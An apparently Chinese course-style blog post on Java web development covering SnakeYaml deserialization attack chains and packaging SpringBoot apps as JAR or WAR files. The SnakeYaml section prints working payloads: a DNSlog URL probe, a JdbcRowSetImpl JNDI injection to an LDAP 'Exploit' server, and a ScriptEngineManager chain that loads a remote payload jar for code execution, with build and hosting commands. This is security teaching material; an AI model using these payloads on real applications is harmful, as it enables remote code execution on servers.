Web开发-JavaEE应用&SpringBoot栈&SnakeYaml反序列化链&JAR&WAR&构建打包

知识点:

1、安全开发-JavaEE-WAR&JAR打包&反编译

2、安全开发-JavaEE-SnakeYaml反序列化&链

一、演示案例-WEB开发-JavaEE-项目-SnakeYaml序列化

bash 复制代码
常见的创建的序列化和反序列化协议
• (已讲)JAVA内置的writeObject()/readObject() 通用<==>Object
• JAVA内置的XMLDecoder()/XMLEncoder xml<==>Object
• (已讲)XStream xml<==>Object
• (已讲)SnakeYaml yaml<==>Object
• (已讲)FastJson json<==>Object
• Jackson json<==>Object
bash 复制代码
SnakeYaml反序列化
SnakeYaml是Java中解析yaml的库,而yaml是一种人类可读的数据序列化语言,通常用于编写配置文件等。

SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化:
Yaml.load():反序列化 将YAML格式的字符串或文件内容转换成Java对象;
Yaml.dump():序列化 将一个Java对象转化为yaml文件形式;
测试总结:load和loadas(dump)都调用了对应的set方法



bash 复制代码
<dependency>
  <groupId>org.yaml</groupId>
  <artifactId>snakeyaml</artifactId>
  <version>1.32</version>
</dependency>




参考:https://www.cnblogs.com/F12-blog/p/18151239

1、URL链(JAVA自带链)

bash 复制代码
!!java.net.URL ["http://5dsff0.dnslog.cn/"]: 1
// java.net.URL这是JAVA自带的类


2、JNDI注入

bash 复制代码
!!com.sun.rowset.JdbcRowSetImpl
dataSourceName: "ldap://localhost:1389/Exploit"
autoCommit: true
//com.sun.rowset.JdbcRowSetImpl是java自带类









3、RCE(自带链+利用SPI机制)


https://github.com/artsploit/yaml-payload/

编译项目源码(把该项目打包成一个jar)-命令编译

bash 复制代码
javac AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

编译项目源码(把该项目打包成一个jar)-项目编译

项目结构-工件-添加-yaml-payload-添加模块输出-构建工件








bash 复制代码
python -m http.server 9999
bash 复制代码
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:9999/yaml-payload.jar"]]]]



二、演示案例-WEB开发-JavaEE-SpringBoot-打包部署-JAR&WAR

参考:https://mp.weixin.qq.com/s/HyqVt7EMFcuKXfiejtfleg

bash 复制代码
SpringBoot项目打包在各类系统服务器中运行:
①jar类型项目
jar类型项目使用SpringBoot打包插件打包时,会在打成的jar中内置tomcat的jar。所以使用jdk直接运行jar即可,jar项目中功能将代码放到其内置的tomcat中运行。
②war类型项目
在打包时需要将内置的tomcat插件排除,配置servlet的依赖和修改pom.xml,然后将war文件放到tomcat安装目录webapps下,启动运行tomcat自动解析即可。

Jar打包

报错解决:
https://blog.csdn.net/Mrzhuangr/article/details/124731024
https://blog.csdn.net/wobenqingfeng/article/details/129914639

1、maven-clean-package


2、java -jar xxxxxx.jar




War打包

1、pom.xml加入或修改

bash 复制代码
<packaging>war</packaging>

2、启动类里面加入配置

bash 复制代码
public class TestSwaggerDemoApplication extends SpringBootServletInitializer
@Override
protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {
return builder.sources(TestSwaggerDemoApplication.class);
}



3、maven-clean-package


4、war放置tomcat后启动








安全:JAVAEE源码架构

无源码下载泄漏风险,JAR泄漏也需反编译(jar文件反编译)



不是所有的jar包都能反编译,有些jar包会用到混肴技术(类似APP加壳)

相关推荐
狮子座的男孩3 分钟前
js函数高级:03、详解原型与原型链(原型、显式原型与隐式原型、原型链、原型链属性、探索instanceof、案例图解)及相关面试题
前端·javascript·经验分享·显示原型与隐式原型·原型链及属性·探索instanceof·原型与原型链图解
烛阴4 分钟前
C#继承与多态全解析,让你的对象“活”起来
前端·c#
狗哥哥7 分钟前
Swagger对接MCP服务:赋能AI编码的高效落地指南
前端·后端
zl_vslam8 分钟前
SLAM中的非线性优-3D图优化之相对位姿Between Factor(六)
前端·人工智能·算法·计算机视觉·slam se2 非线性优化
申阳9 分钟前
Day 18:01. 基于 SpringBoot4 开发后台管理系统-快速了解一下 SpringBoot4 新特性
前端·后端·程序员
500佰12 分钟前
技术包办模式给我带来的反思
前端
g***727015 分钟前
spring-boot-starter和spring-boot-starter-web的关联
前端
用户414292960723918 分钟前
解决「买不到、买得贵、买得慢」:反向海淘独立站的核心功能设计与案例复盘
前端·后端·架构
N***p36519 分钟前
SpringBoot返回文件让前端下载的几种方式
前端·spring boot·后端
五号厂房20 分钟前
网络请求库通用封装(GET/POST + 超时 + 传参)+fetch
前端